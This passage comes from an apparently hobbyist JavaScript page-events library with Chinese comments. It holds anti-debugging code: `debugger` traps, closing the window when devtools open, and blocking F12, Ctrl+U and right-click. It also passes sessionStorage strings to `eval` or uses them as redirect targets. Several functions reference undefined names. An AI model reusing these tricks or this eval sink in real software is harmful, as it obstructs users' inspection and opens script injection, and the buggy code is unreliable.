	 * 传入数组 返回当前最小值
	 * @param arr
	 * @returns {number}
	 */
	min(arr) {
		return Math.min(...arr);
	};
	/**
	 * //禁止代码调试
	 * @param ban
	 * @constructor
	 */
	static BanDebugging(ban) {
		let {
			Noright = false, NoKeyDown = false, debug = false
		} = ban;
		if (Noright) { //禁止鼠标右键
			this.onkeydown = this.onkeyup = this.onkeypress = function () {
				this.event.returnValue = false;
				return false;
			}
		}
		if (NoKeyDown) { //禁止F12
			let h = this.innerHeight,
				w = this.innerWidth;
			this.onresize = function () {
				if (h !== this.innerHeight || w !== this.innerWidth) {
					this.close();
					this.location = "about:blank";
				}
			}
		}
		if (debug) { //反调试代码
			! function () {
				const handler = setInterval(() => {
					const before = new Date();
					debugger;
					const after = new Date();
					// 如果不打开调试模式的话,肯定不会大于100
					const cost = after.getTime() - before.getTime();
					if (cost > 100) {
						clearInterval(handler)
					}
				}, 1000)
			}();
		}

		!function test(){
		    // 捕获异常，递归次数过多调试工具会抛出异常。
		    try { !
		        function cir(i) {
		            // 当打开调试工具后，抛出异常，setTimeout执行test无参数，此时i == NaN，("" + i / i).length == 3
		            // debugger设置断点
		            (1 !== ("" + i / i).length || 0 === i) &&
		            function() {}.constructor("debugger")(),
		            cir(++i);
		        } (0)
		    } catch(e) {
		        setTimeout(test, 500)
		    }
		}()

	};
	/**
	 * 生成随机数
	 * @param {*} lower 
	 * @param {*} upper 
	 */
	randoms(lower, upper) {
		return Math.floor(Math.random() * (upper - lower)) + lower;

	};
	/**
	 * 伪类数组鉴别以及转换
	 * @param {Object} ar
	 * @return {true/false}
	 */
	ToIdentify(ar) {
		return ar.push || ar.pop || ar.map || ar.shift === undefined ? [...ar] : ar;
	};
	/**
	 * 用于保存 页面事件 的方法
	 * @param {Objict} obj 数据
	 * @param {string} setname 存储的名字

	 */
	static TypeValidation(obj, setname, ) { 
		switch (typeof obj) {
			case 'string':
				sessionStorage.setItem(setname, obj);
				break;
			case 'function':
				sessionStorage.setItem(setname, obj);
				break;
			default:
				return false;
		}
	}
}

class changeLoading { //页面加载改变事件
	constructor(e) {

	}
	LoadingCallback(callback) {  //页面系统事件方法执行  用来方法的判断

		console.log(callback)

		if (callback.includes('=>') || callback.includes('function')) {
			theFirstTime.systemLoDang(callback, 9)
		} else {
			
			theFirstTime.systemLoDang(callback.includes('http') && (callback), 132)
			//    new	theFirstTime(`callback.includes('http') && (console.log(callback))`)

		}
	}

	lodang(callback) {
		const obj = {
			throttle: (fn = null) => {  //节流函数
				let canRun = true; // 通过闭包保存一个标记
				return function () {
					// 在函数开头判断标记是否为true，不为true则return
					if (!canRun) return;
					// 立即设置为false
					canRun = false;
					// 将外部传入的函数的执行放在setTimeout中
					setTimeout(() => {
						// 最后在setTimeout执行完毕后再把标记设置为true(关键)表示可以执行下一次循环了。
						// 当定时器没有执行的时候标记永远是false，在开头被return掉
						fn && fn.apply(this, arguments);
						canRun = true;
					}, 1000);
				};
			},
		};
		let temporary = null;
		//节流函数单一模式
		return temporary || (temporary = obj.throttle(this.LoadingCallback(callback)));
	}
	keydown(dat) {  //页面键盘按下事件

		const { event, keydownfunc, keyName } = dat;
		var e = event || window.event || arguments.callee.caller.arguments[0];

		//ctrlKey 表示当前是否按下 ctrl 键 返回一个布尔值 
		if ((e.keyCode === 82 && e.ctrlKey) || (e.keyCode === 116 && e.ctrlKey)) {  //监听按下的刷新键 ctrl+R  || ctrl +F5
			this.LoadingCallback(keydownfunc);
		}

		if (e.keyCode === 85 && e.ctrlKey) {  //禁止ctrl + u 源码查看
			this.LoadingCallback(keydownfunc);
		}

		switch (e.keyCode) { //禁止F12源码查看  F5刷新
			case 123:
				this.LoadingCallback(keydownfunc);
				return false;
			case 116:
				this.LoadingCallback(keydownfunc);
				return false;
			default:
				this.LoadingCallback(keydownfunc);
		}
	}
	downRoll(callback, short = 1000) { //页面发生滚动的时候出发
	
		if (!!callback) {
			const scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
			if (scrollTop >= short) {

				this.LoadingCallback(callback)
			}
		}
	}
};

let db = null;
function Loading(mk) { //对外暴露主方法
	if (mk instanceof Object) {
		return db || (db = new fun(mk));
	} else {
		throw new Error('Parameter type error Should be Object');
	}
};

let req = null;
function Ajax(pass) {
	if (pass instanceof Object) {
		return req || (req = new request(mk));
	} else {
		throw new Error('Parameter type error Should be Object');
	}
};

function InTheIntroduction(On) {  //对window曝露接口
	let container = null, cls, vessel;

	vessel = container || (container = new changeLoading());
	cls = {
		resize: null,
		lods: lod => this.resize || (this.resize = vessel.lodang(lod)),
		onKey: null,
		onkeydown: e => this.onKey || (this.onKey = vessel.keydown(e)),
		Roll: null,
		OnRoll: e => this.Roll || (this.Roll = vessel.downRoll(e)),

	};
	return cls[On];
};

/****注册页面事件 strat*****/ 
window.onresize = function (e) { //监听页面大小变化
	window.addEventListener('resize', InTheIntroduction('lods')(this.sessionStorage.getItem('Onresize')));
};

window.document.onkeydown = (e) => {  //键盘按下事件
	console.log(e)
	InTheIntroduction('onkeydown')({ event: e, keydownfunc: this.sessionStorage.getItem('Onkeydow'), keyName: "a" });
};

window.onscroll = function (e) { //页面滚动时出发
	console.log(e)
	InTheIntroduction('OnRoll')(this.sessionStorage.getItem('Onscrollfuc'));
};

window.document.oncontextmenu = function (e) {  //鼠标右键
	return false;
};
/*****页面注册事件 end***/

//一个页面只执行一个的函数
class theFirstTime {
	constructor() {

		
	}
	static Loading(callback){

		const los = localStorage.getItem('TheFirstLoad');

		if (los === null && los === undefined && los !== false) {
			callback();
			localStorage.setItem('TheFirstLoad',false);
		}
	}
	static systemLoDang(callback, tag = bd){  //用户页面加载的只执行一次方法
		var ls = new Storage();

		const Onestr = `${location.href}${tag}`;

		console.log(ls.get(Onestr)	)

		if (ls.get(Onestr) === undefined) {

			if (callback instanceof Function) {
				
				callback();
				// sessionStorage.setItem(Onestr, false)
				ls.set(Onestr, false, 2592000);
			
			} else if (callback.includes('=>')) {   //如果是一个连接就直接跳转
				
				eval(`(${callback})()`);
				ls.set(Onestr, false, 2592000);
			
			} else if (callback.includes('http')) {

				location.href = callback
				ls.set(Onestr, false, 2592000);

			} else {
				throw new EvalError(`The incoming parameter type error must be Function`);
			}
		}
	}
}


// window.addEventListener("popstate", function (e) {
// 	alert("我监听到了浏览器的返回按钮事件啦");//根据自己的需求实现自己的功能 
// }, false);

// window.onpopstate = function(event) {
// 	this.console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
// 	window.addEventListener("popstate", function(e) { 
// 		window.location = 'http://www.baidu.com';
// 	}, false); 

// 	function pushHistory() { 
// 		var state = { 
// 			title: "title", 
// 			url: "#"
// 		}; 
// 		window.history.pushState(state, "title", "#"); 
//   };
// }
  
//   history.pushState({page: 1}, "title 1", "?page=1");
//   history.pushState({page: 2}, "title 2", "?page=2");
//   history.replaceState({page: 3}, "title 3", "?page=3");
//   history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
//   history.back(); // alerts "location: http://example.com/example.html, state: null
//   history.go(2);  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
	// eval(`(${callback})()`);










	
